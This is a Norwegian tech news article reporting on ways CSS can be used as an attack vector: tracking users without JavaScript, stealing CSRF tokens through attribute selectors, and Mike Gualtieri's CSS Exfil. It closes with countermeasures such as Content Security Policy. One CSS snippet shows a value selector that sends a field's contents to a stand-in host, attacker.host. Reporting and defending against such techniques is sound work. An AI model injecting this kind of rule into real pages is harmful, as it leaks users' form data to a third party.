Stilsettene som brukes på nær sagt alt av websider, CSS (Cascading Style Sheets), har med årene blitt et svært kraftig verktøy. Mens det fra starten av for det meste handlet om å bestemme størrelsen, fargen og plasseringen av innhold på en webside, kan det i dag blant annet brukes til interaktiv funksjonalitet, ofte helt uten bruk av JavaScript.
Dette kan være svært nyttig i mange tilfeller, men det kommer også med en bakside som er kjent. CSS kan nemlig brukes som en angrepsvektor.
I en artikkel tidligere denne uken skriver Bleeping Computer om flere ferske prosjekter som hver seg demonstrerer dette.
Sporing
Det minst alvorlige er utført av fysikkstudenten Jan Böhmer. Prosjektet demonstrerer hvor nettleserbrukernes atferd på en webside kan spores, kun ved hjelp av CSS. For eksempel kan det registreres elementer brukeren klikket på eller holdt muspekeren over, hvilken nettleser som benyttes eller om brukeren har oppgitt en gitt tekst i et tekstfelt.
Disse aktivitetene og mye annet kan utløse lastingen av en URL til en antatt bildefil på en webserver. URL-ens utforming vil avhenge av hvilken informasjon som ønskes registrert.
Det er ingenting av dette som ikke også kan gjøres med JavaScript. Men mens JavaScript i mange tilfeller kan blokkeres uten altfor store konsekvenser, kan det være verre med CSS. Det kan bidra til å gjøre websiden helt ugjenkjennelig.
Årsaken til at dette fungerer, er at nettleserne laster inn disse URL-ene ved behov, i stedet for at alt lastes inn sammen med selve websiden. Det gjør at lastingen av siden oppleves som raskere.
«CSRF token»
Bleeping Computer nevner også et prosjekt som sikkerhetsforskeren Dylan Ayrey står bak. Dette viser hvordan CSS kan brukes til å stjele «CSRF tokens», en unik kode som kan brukes for å hindre visse typer angrep. Ved hjelp av injisering av CSS ved å bruke «attribute selectors». Metoden har blitt omtalt tidligere, men har da vært avhengig av iframes.
Fortsatt forutsetter metoden at utviklerne av det angrepne nettstedet har gjort noen alvorlige feil, nemlig å lagre CSRF-kodene som et attributt til ett av HTML-elementene på siden. Forhåpentligvis er det få som gjør dette.
CSS Exfil
Det tredje prosjektet er det sikkerhetsforskeren Mike Gualtieri som står bak. Det kalles for CSS Exfil. Enkelt forklart går det ut på å gjenkjenne tegn eller tegnkombinasjoner som er oppgitt i et tekstfelt, ved å bruke «value selectors» i CSS. Dette utløser lasting av URL-er som er unike for hvert tegn eller tegnkombinasjon som er oppgitt. Angriperen vil kunne se i loggen til webserveren sin hvilken URL-er som har blitt lastet og tolke passordet eller annen informasjon basert på dette.
<style> #username[value="mikeg"] { background:url("https://attacker.host/mikeg"); } </style> <input id="username" value="mikeg" />
Kode over fører til at URL-en https://attacker.host/mikeg lastes når verdien i feltet er mikeg. En svakhet med metoden er at verdien i feltet må være oppgitt allerede i det websiden lastes. Det er heller sjelden at dette gjelder passordfelt, men det kan godt være tilfellet med felter som inneholder med annen følsom informasjon. Men Gualtieri demonstrerer også en variant av CSS Exfil hvor det også lar seg gjøre å lese av hva som oppgis i et passordfelt.
CSS Exfil avhenger av en eller annen form for kodeinjisering, slik at de ondsinnede CSS-reglene og eventuelle HTML-elementer kan settes inn i HTML-dokumentet som brukeren laster. Dette kan gjøres ved hjelp av tradisjonelle injiseringsmetoder. Dette inkluderer kode i URL-en eller i brukergenerert innhold, i annonser eller annet eksternt innhold som vises uten å være isolert i en iframe, ved hjelp av ondsinnet funksjonalitet i nettleserutvidelser eller som en del av rammeverk eller biblioteker.
Mottiltak
Gualtieri har skrevet en FAQ om CSS Exfil, sammen med en test som viser om nettleseren er sårbar for slike angrep. De fleste nettlesere er nok det, men Gualtieri tilbyr på den samme siden også en nettleserutvidelse til Chrome og Firefox som skal kunne beskytte mot slike angrep.
Nettstedeiere anbefales å bruke Content Security Policy for å hindre stilsettet i å laste bilder fra ukjente adresser. Men minst like viktig er det å luke vekk mulighetene for injisering av kode.
Les også: Slik beskytter du nettstedet mot XSS-angrep (Digi ekstra)